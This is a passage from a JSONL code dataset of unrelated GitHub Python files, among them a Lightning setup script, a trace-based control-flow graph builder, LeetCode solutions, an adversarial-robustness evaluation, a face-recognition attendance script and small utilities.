homepage=_about.__homepage__, version=_version.version\n )\n _include_pkgs = [\"lightning\", \"lightning.*\"]\n\n # TODO: consider invaliding some additional arguments from packages, for example if include data or safe to zip\n\n # TODO: remove this once lightning-ui package is ready as a dependency\n _SETUP_TOOLS._download_frontend(os.path.join(_SOURCE_ROOT, \"lightning\", \"app\"))\n\n return dict(\n name=\"lightning\",\n version=_version.version, # todo: consider adding branch for installation from source\n description=_about.__docs__,\n author=_about.__author__,\n author_email=_about.__author_email__,\n url=_about.__homepage__,\n download_url=\"https://github.com/Lightning-AI/lightning\",\n license=_about.__license__,\n packages=find_packages(where=\"src\", include=_include_pkgs),\n package_dir={\"\": \"src\"},\n long_description=_long_description,\n long_description_content_type=\"text/markdown\",\n include_package_data=True,\n zip_safe=False,\n keywords=[\"deep learning\", \"pytorch\", \"AI\"], # todo: aggregate tags from all packages\n python_requires=\">=3.7\", # todo: take the lowes based on all packages\n entry_points={\n \"console_scripts\": [\n \"lightning = lightning.app.cli.lightning_cli:main\",\n ],\n },\n setup_requires=[],\n install_requires=_SETUP_TOOLS.load_requirements(_PATH_REQUIREMENTS, unfreeze=\"all\"),\n extras_require={}, # todo: consider porting all other packages extras with prefix\n project_urls={\n \"Bug Tracker\": \"https://github.com/Lightning-AI/lightning/issues\",\n \"Documentation\": \"https://lightning.ai/lightning-docs\",\n \"Source Code\": \"https://github.com/Lightning-AI/lightning\",\n },\n classifiers=[\n \"Environment :: Console\",\n \"Natural Language :: English\",\n # How mature is this project? Common values are\n # 3 - Alpha, 4 - Beta, 5 - Production/Stable\n \"Development Status :: 4 - Beta\",\n # Indicate who your project is intended for\n \"Intended Audience :: Developers\",\n \"Topic :: Scientific/Engineering :: Artificial Intelligence\",\n \"Topic :: Scientific/Engineering :: Information Analysis\",\n # Pick your license as you wish\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n # Specify the Python versions you support here.\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n ], # todo: consider aggregation/union of tags from particular packages\n )\n","repo_name":"Eashurox/CPDP_ML","sub_path":"Dataset/ML Projects/Lightning_Versions/lightning-1.8.0/src/lightning/__setup__.py","file_name":"__setup__.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13096395580","text":"import os\nimport typing\nimport networkx\n\nclass DCFG:\n \"\"\" Base class for DCFG (Dynamic Control-Flow Graph)\n \"\"\"\n def __init__(self, trace :str) -> None:\n \"\"\" Init from a trace file\n\n :param trace: trace file\n :return: None\n \"\"\"\n self._trace_path = os.path.abspath(trace)\n self._trace_name = os.path.basename(self._trace_path)\n self._trace_list = None\n\n self._node_head = None\n self._node_tail = None\n\n #Key: address (int rather than hex-str) for identifying a node [int]\n #Val: hit count [int]\n self._node_hit = {}\n\n #Key: (node_id_front, node_id_next) for identifying a edge [tuple]\n #Val: hit count [int]\n self._edge_hit = {}\n\n self.DCFG_RAW = None\n\n @staticmethod\n def trace_line_interpreter(l :bytes) -> int :\n \"\"\" Trace line in \"rb\" file mode => Int address\n\n e.g. b'0x00047c308' => 4702984\n \"\"\"\n return int(l.decode('utf-8','ignore').rstrip(), 16)\n\n @staticmethod\n def set_hit_count(d :dict, x :typing.Any) -> None :\n \"\"\" Use a dict to record hit count\n\n The dict:\n Key: Any hashable Python object which can be used as a key in a Python dictionary.\n Val: hit count (1 hit => counter+=1)\n [Higher performance in dict-has-key-check](https://stackoverflow.com/questions/1323410/should-i-use-has-key-or-in-on-python-dicts)\n \"\"\"\n if x in d:\n d[x] += 1\n else:\n d[x] = 1 \n\n def traverse_trace_file(self) -> None :\n \"\"\" Extract DCFG data from a trace record file\n \"\"\"\n with open(self._trace_path, mode=\"rb\") as f:\n self._trace_list = f.readlines()\n \n self._node_head = self.trace_line_interpreter(self._trace_list[0])\n self._node_tail = self.trace_line_interpreter(self._trace_list[-1])\n\n lastN = self._node_head\n self.set_hit_count(self._node_hit, lastN)\n\n for i in range(1, len(self._trace_list)):\n thisN = self.trace_line_interpreter(self._trace_list[i])\n #Current directed edge: (lastN, thisN)\n self.set_hit_count(self._edge_hit, (lastN,thisN))\n lastN = thisN\n self.set_hit_count(self._node_hit, lastN)\n\n def is_dense(self) -> typing.Optional[bool] :\n \"\"\" Determining whether the DCFG (i.e. `self.DCFG_RAW`) is sparse or dense\n\n `Borgwardt, Karsten, et al. \"Graph kernels: State-of-the-art and future challenges.\" arXiv preprint arXiv:2011.03854 (2020).`\n The only decision a user needs to take here is to check the density of\n the graphs data set beforehand. We purposefully leave the definition of \n what constitutes a dense graph open—a straightforward threshold would be \n to define graphs with a density of > 0.5 to be dense, as opposed to sparse.\n\n `https://en.wikipedia.org/wiki/Dense_graph`\n for directed simple graphs, the graph density is defined as $D=\\frac{|E|}{|V|(|V|-1)}$\n \"\"\"\n card_E = len(self._edge_hit)\n card_V = len(self._node_hit)\n if (0 == card_E):\n return None\n else:\n return (card_E/(card_V*(card_V - 1)) > 0.5)\n\n\nclass DCFG_NX(DCFG):\n \"\"\" DCFG by NetworkX\n\n https://networkx.org/documentation/stable/reference/introduction.html\n \"\"\" \n def construct_dcfg(self) -> None :\n \"\"\" Construct DCFG with 2 attributes for node and 1 for edge\n\n One raw value of the attributes for node is used as unique \n identifier for node in NetworX, too.\n \"\"\"\n self.traverse_trace_file()\n self.DCFG_RAW = networkx.DiGraph()\n\n for vtx in self._node_hit:\n self.DCFG_RAW.add_node(vtx, addr=vtx, hit=self._node_hit[vtx])\n\n for edg in self._edge_hit:\n self.DCFG_RAW.add_edge(edg[0], edg[1], hit=self._edge_hit[edg])\n\n def return_dcfg(self) -> networkx.DiGraph :\n \"\"\" Provide DCFG for outside request.\n \"\"\"\n return self.DCFG_RAW\n\n\nif __name__ == \"__main__\":\n pass","repo_name":"HexHive/Igor","sub_path":"TraceClusterMaker/DCFG.py","file_name":"DCFG.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"54"} +{"seq_id":"74229197602","text":"import sys\n\nimport typer\n\nfrom pythonanywhere.scripts_commons import get_logger\nfrom pythonanywhere.students import Students\n\napp = typer.Typer()\n\n\ndef setup(quiet: bool) -> Students:\n logger = get_logger(set_info=True)\n if quiet:\n logger.disabled = True\n return Students()\n\n\n@app.command()\ndef get(\n numbered: bool = typer.Option(\n False, \"-n\", \"--numbered\", help=\"Add ordering numbers.\"\n ),\n quiet: bool = typer.Option(\n False, \"-q\", \"--quiet\", help=\"Disable additional logging.\"\n ),\n raw: bool = typer.Option(\n False, \"-a\", \"--raw\", help=\"Print list of usernames from the API response.\"\n ),\n sort: bool = typer.Option(False, \"-s\", \"--sort\", help=\"Sort alphabetically\"),\n sort_reverse: bool = typer.Option(\n False, \"-r\", \"--reverse\", help=\"Sort alphabetically in reverse order\"\n ),\n):\n \"\"\"\n Get list of student usernames.\n \"\"\"\n\n api = setup(quiet)\n students = api.get()\n\n if students is None or students == []:\n sys.exit(1)\n\n if raw:\n typer.echo(students)\n sys.exit()\n\n if sort or sort_reverse:\n students.sort(reverse=sort_reverse)\n\n for number, student in enumerate(students, start=1):\n line = f\"{number:>3}. {student}\" if numbered else student\n typer.echo(line)\n\n\n@app.command()\ndef delete(\n student: str = typer.Argument(..., help=\"Username of a student to be removed.\"),\n quiet: bool = typer.Option(\n False, \"-q\", \"--quiet\", help=\"Disable additional logging.\"\n ),\n):\n \"\"\"\n Remove a student from the students list.\n \"\"\"\n\n api = setup(quiet)\n result = 0 if api.delete(student) else 1\n sys.exit(result)\n\n\n@app.command()\ndef holidays(\n quiet: bool = typer.Option(\n False, \"-q\", \"--quiet\", help=\"Disable additional logging.\"\n ),\n):\n \"\"\"\n School's out for summer! School's out forever! (removes all students)\n \"\"\"\n\n api = setup(quiet)\n students = api.get()\n\n if not students:\n sys.exit(1)\n\n result = 0 if all(api.delete(s) for s in students) else 1\n if not quiet:\n typer.echo(\n [\n f\"Removed all {len(students)} students!\",\n f\"Something went wrong, try again\",\n ][result]\n )\n sys.exit(result)\n","repo_name":"pythonanywhere/helper_scripts","sub_path":"cli/students.py","file_name":"students.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"54"} +{"seq_id":"70115708323","text":"class Solution:\n def numDistinctIslands(self, grid) -> int:\n\n if not grid:\n return 0\n\n dir = [(0, -1), (-1, 0), (0, +1), (+1, 0)]\n seen = set()\n\n def dfs(x, y, x0, y0, currShape):\n if 0 <= x < len(grid) and 0 <= y < len(grid[0]) and (x, y) not in seen and grid[x][y]:\n seen.add((x, y))\n currShape.append((x - x0, y - y0))\n for xInc, yInc in dir:\n dfs(x + xInc, y + yInc, x0, y0, currShape)\n\n shapes = set()\n\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n if grid[i][j]:\n currShape = []\n dfs(i, j, i, j, currShape)\n if currShape:\n shapes.add(tuple(currShape))\n\n return len(shapes)\n","repo_name":"ilkercankaya/LeetCodeAndHackerRankSolutions","sub_path":"LeetCode/Medium/694.Number_of_Distinct_Islands.py","file_name":"694.Number_of_Distinct_Islands.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"28427076730","text":"# example source: https://www.pythonprogramming.in/singleton-class-using-metaclass-in-python.html\n\nclass SingleInstanceMetaClass(type):\n def __init__(self, name, bases, dic):\n self.__single_instance = None\n super().__init__(name, bases, dic)\n\n def __call__(cls, *args, **kwargs):\n if cls.__single_instance:\n return cls.__single_instance\n single_obj = cls.__new__(cls)\n single_obj.__init__(*args, **kwargs)\n cls.__single_instance = single_obj\n return single_obj\n\n\n# class Dupa(metaclass=SingleInstanceMetaClass):\n# a: int = 13\n\n# def __init__(self):\n# pass\n# pass\n\n\n# d1 = Dupa()\n# d2 = Dupa()\n# print(d1 is d2)\n\n# d1.a = 15\n# print(d1 is d2)\n# print(d1.a)\n# print(d2.a)\n# print(d1 is d2)\n","repo_name":"Sazar24/mouse-grid","sub_path":"src/app/utilities/metaclassSingleton/singleton.py","file_name":"singleton.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19153573363","text":"# https://leetcode.com/problems/guess-number-higher-or-lower-ii/\n# https://leetcode.com/problems/guess-number-higher-or-lower-ii/discuss/1510747/python-dp-beat-9752-in-time-99-in-memory-with-explanation\n\n\nclass Solution:\n def getMoneyAmount(self, n: int) -> int:\n if n == 1:\n return 0\n starting_index = 1 if n % 2 == 0 else 2\n tmp_list = [i for i in range(starting_index, n, 2)]\n tmp_list_length = len(tmp_list)\n dp = [[0] * tmp_list_length for _ in range(tmp_list_length)]\n\n for i in range(tmp_list_length):\n dp[i][i] = tmp_list[i]\n\n for length in range(2, tmp_list_length + 1):\n for i in range(tmp_list_length - length + 1):\n j = i + length - 1\n dp[i][j] = float(\"inf\")\n for k in range(i, j + 1):\n dp_left = dp[i][k - 1] if k != 0 else 0\n dp_right = dp[k + 1][j] if k != j else 0\n dp[i][j] = min(dp[i][j], tmp_list[k] + max(dp_left, dp_right))\n\n return dp[0][-1]\n","repo_name":"wingskh/CompetitiveProgrammingExercises","sub_path":"LeetCode/Guess_Number_Higher_or_Lower_II.py","file_name":"Guess_Number_Higher_or_Lower_II.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"12954578777","text":"import sys\nfrom argparse import ArgumentParser, Namespace\nfrom typing import Dict\n\nimport numpy as np\nfrom torch import nn\nfrom art.estimators.classification import PyTorchClassifier\n\nfrom src.bin.eval_net_robustness import eval_on_attack, get_attacks\nfrom src.dataset import get_datasets, get_n_classes_and_channels\nfrom src.models.classifiers.model_constructor import get_info_from_path\nfrom src.train import ClassificationModelTrainer\n\n\ndef _parse_args(args) -> Namespace:\n parser = ArgumentParser(description='Simple settings.')\n parser.add_argument('model', help='Path to the model to be attacked.')\n parser.add_argument('target_model', help='Path to the model to be targeted.')\n return parser.parse_args(args)\n\n\ndef eval_net_transfer_robustness(eval_model_trainer: ClassificationModelTrainer,\n target_model_trainer: ClassificationModelTrainer,\n str_dataset: str,\n verbose: bool = True\n) -> Dict[str, float]:\n n_classes, n_channels = get_n_classes_and_channels(str_dataset)\n\n eval_model = PyTorchClassifier(model=eval_model_trainer.model,\n loss=nn.CrossEntropyLoss(),\n input_shape=(n_channels, 32, 32),\n nb_classes=n_classes,\n clip_values=(0.0, 1.0))\n\n target_model = PyTorchClassifier(model=target_model_trainer.model,\n loss=nn.CrossEntropyLoss(),\n input_shape=(n_channels, 32, 32),\n nb_classes=n_classes,\n clip_values=(0.0, 1.0))\n\n dataset = get_datasets(str_dataset.lower())['val']\n clean_val_x = np.stack([x[0].numpy() for x in dataset])\n clean_val_y = np.array([x[1] for x in dataset])\n\n attacks = get_attacks(target_model, str_dataset)\n\n adv_accuracies = {}\n\n for atk_name, attack in attacks.items():\n attack.set_params(verbose=True)\n adv_acc = eval_on_attack(eval_model, attack, clean_val_x, clean_val_y)\n adv_accuracies[atk_name] = adv_acc\n\n if verbose:\n print(f\"Accuracy on adversarial test examples generated by {atk_name}: {adv_acc * 100}%\")\n\n return adv_accuracies\n\n\ndef run(model1_path, model2_path):\n print(model1_path)\n print(model2_path)\n\n dataset = get_info_from_path(model1_path)[1]\n\n eval_model_trainer = ClassificationModelTrainer.for_eval(model1_path)\n target_model_trainer = ClassificationModelTrainer.for_eval(model2_path)\n\n eval_net_transfer_robustness(eval_model_trainer,\n target_model_trainer,\n dataset,\n True)\n\n\ndef main(args=None):\n if args is None:\n args = sys.argv[1:]\n args = _parse_args(args)\n run(args.model, args.target_model)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"szegedai/robust-stitching","sub_path":"src/bin/eval_net_transfer_robustness.py","file_name":"eval_net_transfer_robustness.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"3846104276","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 19 10:54:42 2019\r\n\r\n@author: jeans\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nFs = 40000; # taxa de amostragem\r\nTs = 1.0/Fs; # periodo de amostragem\r\nt = np.arange(0,1,Ts) # vetor de tempo\r\n\r\nf = 100; # frequencia do sinal\r\nx1_n = np.sin(2*np.pi*f*t + 0)\r\nf = 1000;\r\nx2_n = np.sin(2*np.pi*f*t + 180)\r\n\r\nx_n = x1_n + x2_n\r\n\r\n#constroi a janela de blackman\r\nwindow = np.blackman(x_n.size)\r\n\r\n#multiplica pelo sinal\r\nx_window = window*x_n\r\n\r\nn = len(x_n) # tamanho do sinal\r\nk = np.arange(n) #vetor em k\r\nT = n/Fs\r\nfrq = k/T # os dois lados do vetor de frequencia\r\nfrq = frq[range(int(n/2))] # apenas um lado\r\n\r\nX = np.fft.fft(x_n)/n # calculo da fft e normalização por n\r\nX = X[range(int(n/2))]\r\n\r\nX_window = np.fft.fft(x_window)/n\r\nX_window = X_window[range(int(n/2))]\r\n\r\nplt.subplot(221)\r\nplt.title('Sinal')\r\nplt.xlabel('n')\r\nplt.ylabel('Amplitude')\r\nplt.plot(t,x_n)\r\n\r\nplt.subplot(222)\r\nplt.title('FFT do Sinal')\r\nplt.xlabel('f')\r\nplt.ylabel('Magnitude')\r\nplt.plot(frq,abs(X),'r')\r\n\r\nplt.subplot(223)\r\nplt.title('Sinal Janelado')\r\nplt.xlabel('n')\r\nplt.ylabel('Amplitude')\r\nplt.plot(x_window)\r\n\r\nplt.subplot(224)\r\nplt.title('FFT do Sinal Janelado')\r\nplt.xlabel('f')\r\nplt.ylabel('Magnitude')\r\nplt.plot(frq,abs(X_window),'r')\r\n\r\nplt.show()","repo_name":"nicolegold/dsp-unisinos","sub_path":"CodigosAula/janelamento_exemplo.py","file_name":"janelamento_exemplo.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"36874862960","text":"import cv2\r\nimport numpy as np\r\nimport face_recognition\r\nimport os\r\nfrom datetime import datetime\r\n\r\npath = 'images'#to get img from folder name images\r\nimagesAtt = []#list of all the images imported\r\nclassNames = []#name of the images\r\nmyList = os.listdir(path)\r\nprint(myList)\r\nfor cl in myList: #reads our cur_img or we can use to load imgs\r\n curImg = cv2.imread(f'{path}/{cl}')\r\n imagesAtt.append(curImg)\r\n classNames.append(os.path.splitext(cl)[0])#appends name without '.jpg'\r\nprint(classNames)\r\n\r\ndef findEncodings(imagesAtt):\r\n encodeList = []\r\n for img in imagesAtt:\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) #img conerted to rgb\r\n encode = face_recognition.face_encodings(img)[0]\r\n encodeList.append(encode)\r\n return encodeList\r\n\r\n\r\ndef markAttendance(name):\r\n with open('Attendance.csv', 'r+') as f:\r\n myDataList = f.readlines()\r\n nameList = []\r\n for line in myDataList:\r\n entry = line.split(',')#for new line\r\n nameList.append(entry[0])#appends attendy name\r\n if name not in nameList:#checks the name in list\r\n now = datetime.now()\r\n dtString = now.strftime('%H:%M:%S')\r\n f.writelines(f'\\n{name},{dtString}')\r\n\r\nencodeListKnown = findEncodings(imagesAtt)\r\n#print('encoding complete')\r\n\r\ncap = cv2.VideoCapture(0)#captures the img from cam\r\n\r\nwhile True:\r\n success,frame = cap.read()\r\n\r\n imgS = cv2.resize(frame,(0,0),None,0.25,0.25)#to reduce the size of img\r\n imgS = cv2.cvtColor(imgS, cv2.COLOR_BGR2RGB)#to convert img into rgb\r\n\r\n facesCurFrame = face_recognition.face_locations(imgS)#to find face locations in cam\r\n encodesCurFrame = face_recognition.face_encodings(imgS,facesCurFrame)#to encode required face\r\n\r\n for encodeFace,faceLoc in zip(encodesCurFrame,facesCurFrame):#to grab one facelocation from currentframe to encode\r\n matches = face_recognition.compare_faces(encodeListKnown,encodeFace)#to compare current faces from our list\r\n faceDis = face_recognition.face_distance(encodeListKnown,encodeFace)\r\n #print(faceDis)\r\n matchIndex=np.argmin(faceDis)#gives the index of the list of the curperson\r\n\r\n if matches[matchIndex]:\r\n name = classNames[matchIndex].upper()\r\n print(name)\r\n y1,x2,y2,x1 = faceLoc\r\n y1,x2,y2,x1 = y1*4,x2*4,y2*4,x1*4#multi by 4 as we resized it before\r\n cv2.rectangle(frame,(x1,y1),(x2,y2),(0,255,0),2)\r\n cv2.rectangle(frame,(x1,y2-35),(x2,y2),(0,255,0),cv2.FILLED)\r\n cv2.putText(frame,name,(x1+6,y2-6),cv2.FONT_HERSHEY_COMPLEX,1,(255,255,255),2)\r\n markAttendance(name)\r\n cv2.imshow('Webcam',frame)\r\n cv2.waitKey(1)\r\n","repo_name":"manjula9083/attendance","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70435314081","text":"#program to check if a string is a palindrome \r\n#daniel apetri\r\n#28.09.2017\r\n\r\ndef main():\r\n\r\n string = input(\"enter your string:\")\r\n string_rev = string[::-1]\r\n\r\n if string == string_rev:\r\n print(\"the string is a palindrome:\")\r\n else:\r\n print(\"the string is not a palindrome:\")\r\n\r\nmain()\r\n\r\ndef isapalindrome():\r\n\r\n str=input(\"enter your string:\")\r\n s1=str.lower()\r\n\r\n if s1 == s1[::-1]:\r\n print(\"palindrom\")\r\n else:\r\n print(\"not palindrome\")\r\n\r\nisapalindrome()","repo_name":"danapt/Python","sub_path":"palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"33496806757","text":"import requests\nfrom bs4 import BeautifulSoup as bs\n\nprint(\"\\nWelcome to PyWiki v1.0.\\n\\nThis utility returns the introductory paragraph\\nfrom the Wikipedia article of your search, \\nwhich is saved in a textfile of the same name.\\n\\n\")\nsearch = input(str(\"Please enter text here: \"))\nsearchterm = search.split()\n\n#To enforce Wikipedia search term standards in the URL:\n#eg: A search for 'Bob Dylan' becomes :\n#https://en.wikipedia.org/wiki/Bob_Dylan\n\nif len(searchterm)>1:\n\tfor i in range(0,len(searchterm)-1):\n\t\tsearch = searchterm[i]+\"_\"+searchterm[i+1]\n\n\nurl = \"https://en.wikipedia.org/wiki/\"+search\nprint(url)\n\ninfo = requests.get(url)\nsoup = bs(info.content, 'html.parser') \n\nfirst = ''.join(text.strip() for text in soup.p.find_all(text=True, recursive=False))\n\nprint(first)\n\n#To write the info to a file of the same name:\nwith open(search, \"w\") as file:\n\tfile.write(first)\n","repo_name":"VatsalAgarwal/PyWiki","sub_path":"PyWiki.py","file_name":"PyWiki.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"408655367","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0003_author_book'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='product',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=60)),\n ],\n ),\n migrations.AlterModelOptions(\n name='scores',\n options={'ordering': ['score']},\n ),\n ]\n","repo_name":"chaochao1987/DaWang","sub_path":"test01/blog/migrations/0004_auto_20161223_1416.py","file_name":"0004_auto_20161223_1416.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16878532827","text":"class Solution(object):\n def solveNQueens(self, n):\n self.res = []\n self.number = n;\n # queens = [0 for i in range(n)]\n self.dfs([], [], [])\n # for d1 in self.res:\n # for d2 in d1:\n # print(d2)\n # print(\"---------\")\n return self.res\n\n def dfs(self, queens, ij_diff, ij_sum): #ij_diff right; ij_sum left\n if len(queens) == self.number:\n matrix = ['' for k in range(self.number)]\n for k in range(self.number):\n for i in range(self.number):\n if i == queens[k]:\n matrix[k] += 'Q'\n else:\n matrix[k] += '.'\n self.res += [matrix]\n j = len(queens)\n for i in range(self.number):\n if (i not in queens) and (i+j not in ij_sum) and (j-i not in ij_diff) :\n self.dfs(queens + [i], ij_diff + [j-i], ij_sum + [j+i])\n\nsolution = Solution()\nprint(solution.solveNQueens(4))\n","repo_name":"maywanting/algame","sub_path":"leetcode/51solveNQueens/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2987432008","text":"from colorclass import Color\nimport sys\nimport os\n\nstep_color = Color(\"{green}#### Starting{/green} \" +\n \"\\\"{white}{0}{/white}\\\" {green}test{/green}\")\nload_color = Color(\"-- Loading {green}{0}\" +\n \"{/green} {white}test{/white}\")\n\ntest_sep_color = Color(\"{green}{0}{/green}\")\n\ntoken_color = Color(\"{white} ==== Avaliable tokens \" +\n \"after this test:{/white}\\n {blue}{0}{/blue}\")\n\nhttp_ok_color = Color(\"HTTP Status code:{green} [{0}] - OK{/green}\")\nhttp_notbad_color = Color(\"HTTP Status code:{yellow} [{0}]{/yellow}\")\nhttp_error_color = Color(\"HTTP Status code:{red} [{0}]{/red}\")\nhttp_request_color = Color(\"-- {white}{0} request ({1},{2},{3}){/white}\" +\n \" {white}\\n ---> Request \" +\n \"data: {magenta}{4}{/magenta}\" +\n \" {white}\\n <--- Response \" +\n \"data: {cyan}{5}{/cyan}\")\nload_error_color = Color(\"-- {red}Error on loading{/red} {white}{0}\" +\n \"::id[{1}]: {2}{/white}\")\n\ndep_error_color = Color(\"-- {red}Dependecy Error:{/red} {white} from id::\" +\n \"{0}; {1}->{/white}{yellow}{2}\" +\n \"{/yellow}: {white}id does not exist!{/white}\")\n\ndep_color = Color(\"-- {white}Checking{/white} {green}{0}\" +\n \"{/green} {white}test{/white}\")\n\nval_error_color = Color(\"{red} [FAIL] {/red} Validation error: {0}\")\nval_ok_color = Color(\"{green} [PASS] {/green} Validation passed\")\nverify_node_color = Color(\"{white} [TEST] {0}{/white} {1}\")\n\ninvalid_op_color = Color(\"{yellow} [INVL] invalid operator {red}{0}\" +\n \"{/red}{/yellow}: {1}\")\n\ninvalid_exp_data_key_color = Color(\"invalid expected data key {yellow}{0}\" +\n \"{/yellow}. They is no property with this\" +\n \" name in server's response.\")\n\ndebug_color = Color(\"{yellow} [DEBUG] {/yellow} {0}\")\n\n\ndef printRequest(desc, domain, path, method, sent_data,\n received_data, http_status_num):\n if http_status_num == 200:\n httpno = print(http_ok_color.format(str(http_status_num)))\n elif http_status_num > 200 and http_status_num < 400:\n httpno = print(http_notbad_color.format(str(http_status_num)))\n else:\n httpno = print(http_error_color.format(str(http_status_num)))\n if sent_data is \"\":\n sent_data = ''\n\n print(http_request_color.format(desc,\n domain,\n method,\n path,\n sent_data,\n received_data,\n httpno\n ))\n\n\ndef printLoadError(file, id, msg, errno=1):\n print(load_error_color.format(file, id, msg, errno))\n sys.exit(errno)\n\n\ndef printDepError(id_orig, id_missing, execx, errno=1):\n print(dep_error_color.format(id_orig, id_missing, execx))\n sys.exit(errno)\n\n\ndef printDeps(desc):\n print(dep_color.format(desc))\n\n\ndef validationError(conf):\n errors = conf['errors']\n for msg in errors:\n print(val_error_color.format(msg))\n conf['errors'] = []\n conf['has_errors'] = True\n\n\ndef validationOk(conf):\n print(val_ok_color)\n\n\ndef verifyNode(namespace, msg):\n print(verify_node_color.format(namespace, msg))\n\n\ndef invalidOperator(op, msg, conf):\n conf['errors'].append(invalid_op_color.format(op, msg))\n\n\ndef invalidExpectedDataKey(key, conf):\n conf['errors'].append(invalid_exp_data_key_color.format(key))\n\n\ndef debug(msg):\n if \"DEBUG\" in os.environ:\n print(debug_color.format(msg))\n","repo_name":"manoelhc/restafari","sub_path":"restafari/output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":3728,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"7815527328","text":"import csv\n\n\ndef novoDado(ponto, conc): # Esta funcao sera usado para a escolha 1 e 2 do programa\n novo = []\n novo.append(ponto)\n novo.append(conc)\n return novo # Retorna uma matriz que sera adicionada a matriz principal \n\ndef printar(matriz): # Esta funcao sera usada para a escolha 6, para nao aparecer em formato de matriz printamos uma de cada vez\n tam = len(matriz)\n contador=0\n while contador maiorconc:\n maiorconc = conc\n maiorponto = int(matriz[i][0])\n i += 1\n print(f\"O ponto com a maior concentração é: {maiorponto}, com a concentração de: {maiorconc}\")\n \n\n\nTitulo = ['Ponto', 'concentracao'] # Com intuito de nao criar uma funcao apenas para adicionar o titulo, adicionamos antes do loop principal\nmatriz= []\nmatriz.append(Titulo)\nescolha = ''\n\nwhile escolha.lower() != 'fim': # Adicionamos o .lower() para nao precisar adicionar \"or\" para cada situacao possivel\n escolha = input(\"1 - Novo registro\\n2 - N novos registros\\n3 - Calcular propriedades\\n4 - Gravar em arquivo\\n5 - Carregar de arquivo\\n6 - Visualizar registros\\nDigite uma opção ou FIM para sair: \")\n\n if escolha == '1':\n ponto = int(input(\"Informe o número do ponto: \"))\n conc = int(input(\"Informe a concentração de E. coli: \"))\n if (ponto in [7, 38, 39, 62]) and conc >= 0: # Checa se os dados fornecidos sao validos\n novo = novoDado(ponto, conc)\n matriz.append(novo) # Adiciona o ponto e concentracao na matriz\n else:\n print('Ponto ou concentracao invalida')\n\n if escolha == '2':\n while escolha.lower() != 'ok': # Este while possibilita que adicionemos n dados novos utilizando a mesma funcao da 1 opcao\n ponto = int(input(\"Informe o número do ponto: \"))\n conc = float(input(\"Informe a concentração de E. coli: \"))\n if (ponto in [7, 38, 39, 62]) and conc >= 0: \n novo = novoDado(ponto, conc)\n matriz.append(novo)\n else:\n print('Ponto ou concentracao invalida')\n escolha = input(\"Pressione qualquer tecla para inserir mais um registro ou OK para retornar: \")\n\n if escolha == '6':\n printar(matriz)\n\n if escolha =='3':\n pontos = [7, 38, 39, 62] # Para nao chamar indivudualmente a funcao para cada ponto, utilizamos este for para chamar todas\n for ponto in pontos:\n media(matriz, ponto)\n maior(matriz)\n\n if escolha =='4':\n nome = input('Insira o nome do arquivo que deseja criar: ') + '.csv'\n with open(nome, 'w', newline='') as arquivo_csv: # Abre o arquivo csv para escrita ('w')\n escritor = csv.writer(arquivo_csv) # Cria um 'escritor' que consegue escrever em um arquivo csv\n for linha in matriz:\n escritor.writerow(linha) # Esreve linha por linha no arquivo csv\n matriz=[] # Aqui esvaziamos a matriz, pois como ja foi exportada para um arquivo, podemos utilizar a func 5 para pegar de volta os dados\n matriz.append(Titulo)\n \n if escolha =='5':\n nome = input('Insira o nome do arquivo que deseja adicionar a atual matriz: ') + '.csv'\n with open(nome, 'r') as arquivo_csv: # Abre o arquivo csv para leitura ('r')\n leitor = csv.reader(arquivo_csv) # Cria um 'leitor' que consegue trazer dados de um arquivo csv\n contador=0\n for linha in leitor:\n if contador !=0: # Este contador serve para nao trazer o titulo das colunas, porque ele ja foi colocado no comeco do codigo\n matriz.append(linha) # Adiciona linha por linha os dados do csv na matriz do programa\n 